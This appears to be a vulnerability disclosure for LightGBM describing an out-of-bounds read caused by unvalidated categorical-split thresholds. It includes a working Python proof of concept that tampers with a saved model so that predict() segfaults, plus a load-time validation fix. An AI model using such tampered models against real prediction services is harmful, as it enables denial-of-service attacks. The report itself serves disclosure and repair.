Out-of-bounds read via unchecked categorical-split threshold indexing cat_boundaries_
Affected Versions: commit fb3a5a77c05a1593b2fa35a24dab54784755f030
Summary
For a categorical split node, Tree::CategoricalDecision (include/LightGBM/tree.h) casts the node's threshold_ value to an integer cat_idx and uses it directly to index cat_boundaries_, with no bounds check against the model's actual num_cat_ (the declared number of categorical-threshold groups). threshold_ is parsed from the text model with only an array-length check, never a value check, so an untrusted model can set an out-of-range threshold on a categorical node and drive an out-of-bounds read the moment predict() routes a sample through that node, no SHAP/contribution feature required. The out-of-bounds value read from cat_boundaries_ is then used as both an offset and a length into a second buffer (cat_threshold_) for a bitset scan, chaining into a second, attacker-influenced out-of-bounds read.
Details
include/LightGBM/tree.h:
inline int CategoricalDecision(double fval, int node) const {
int int_fval;
if (std::isnan(fval)) {
return right_child_[node];
} else {
int_fval = static_cast<int>(fval);
if (int_fval < 0) {
return right_child_[node];
}
}
int cat_idx = static_cast<int>(threshold_[node]);
if (Common::FindInBitset(cat_threshold_.data() + cat_boundaries_[cat_idx],
cat_boundaries_[cat_idx + 1] - cat_boundaries_[cat_idx], int_fval)) {
return left_child_[node];
}
return right_child_[node];
}cat_idx comes straight from threshold_[node], cast to int, with no check that it is within [0, num_cat_). threshold_ itself is parsed with only a length check (src/io/tree.cpp):
threshold_ = CommonC::StringToArray<double>(key_vals["threshold"], num_leaves_ - 1);cat_boundaries_ is sized num_cat_ + 1, where num_cat_ is itself parsed unchecked from the model (Common::Atoi(key_vals["num_cat"].c_str(), &num_cat_)), so a model author fully controls both the size of cat_boundaries_ and the cat_idx used to index into it; nothing ties one to the other. An out-of-range cat_idx reads cat_boundaries_[cat_idx] and cat_boundaries_[cat_idx + 1] out of bounds, and both values are then used together as data() + offset and length arguments to Common::FindInBitset, which scans cat_threshold_ starting at that offset for that length, an attacker-influenced second out-of-bounds read chained off the first.
This differs from the split_feature out-of-bounds read documented in the sibling writeup for this repo (which is used directly as a feature-array index during ordinary numeric-split prediction): this path is specific to categorical splits, requires no SHAP/contribution call, and chains into a second buffer read rather than faulting on a single indexing operation.
PoC
Built from source at commit fb3a5a77c05a1593b2fa35a24dab54784755f030 (sh build-python.sh install --no-isolation, no precompiled wheel).
import re
import numpy as np
import pandas as pd
import lightgbm as lgb
np.random.seed(0)
n = 500
cat = np.random.randint(0, 20, size=n)
y = (cat % 3 == 0).astype(int)
X = pd.DataFrame({"cat_col": pd.Series(cat).astype("category"), "num_col": np.random.rand(n)})
booster = lgb.train(
{"objective": "binary", "num_leaves": 7, "min_data_in_leaf": 5, "verbose": -1,
"cat_smooth": 0, "min_data_per_group": 1},
lgb.Dataset(X, label=y, categorical_feature=["cat_col"]),
num_boost_round=3,
)
model = booster.model_to_string()
model = re.sub(r"tree_sizes=[^\n]*\n", "", model, count=1)
blocks = model.split("\n\nTree=")
target_idx = None
for i, b in enumerate(blocks):
if re.search(r"^num_cat=([1-9]\d*)", b, re.M) and re.search(r"^decision_type=.*\b1\b", b, re.M):
target_idx = i
break
block = blocks[target_idx]
dt_m = re.search(r"decision_type=([^\n]*)", block)
dtypes = dt_m.group(1).split()
cat_node = next(i for i, v in enumerate(dtypes) if int(v) & 1)
th_m = re.search(r"threshold=([^\n]*)", block)
thresholds = th_m.group(1).split()
thresholds[cat_node] = "999999"
new_block = block.replace("threshold=" + th_m.group(1), "threshold=" + " ".join(thresholds), 1)
blocks[target_idx] = new_block
evil = "\n\nTree=".join(blocks)
b = lgb.Booster(model_str=evil)
b.predict(X)Observed: the model loads without error (no value validation at load time), and predict(X) crashes with Segmentation fault (core dumped) (exit 139) as soon as a row routes through the tampered categorical node. Under gdb the fault occurs inside LightGBM::GBDT::PredictRaw, called from the ordinary GBDT::Predict entry point, confirming this triggers on a plain prediction call, not a SHAP-specific one.
Impact
Loading and predicting with an untrusted LightGBM text model that contains a categorical split (an ordinary, documented feature, not an edge case) can crash the loading process through an out-of-bounds read chained across two buffers (cat_boundaries_ then cat_threshold_). This is reachable on the standard predict() path with no SHAP/contribution flag needed, widening the attack surface described in the sibling writeup for this repo's pred_contrib-specific out-of-bounds write. A reliable crash was demonstrated; this report does not claim information disclosure or code execution, since neither was shown by the PoC above.
Remediation
Validate every parsed node value at load time, as recommended in the sibling writeup for this repo: for categorical nodes, require threshold_[node] (used as cat_idx) to be within [0, num_cat_) before it is ever used to index cat_boundaries_, and reject the model at load time otherwise rather than indexing with it during prediction.
Source: lightgbm-org/LightGBM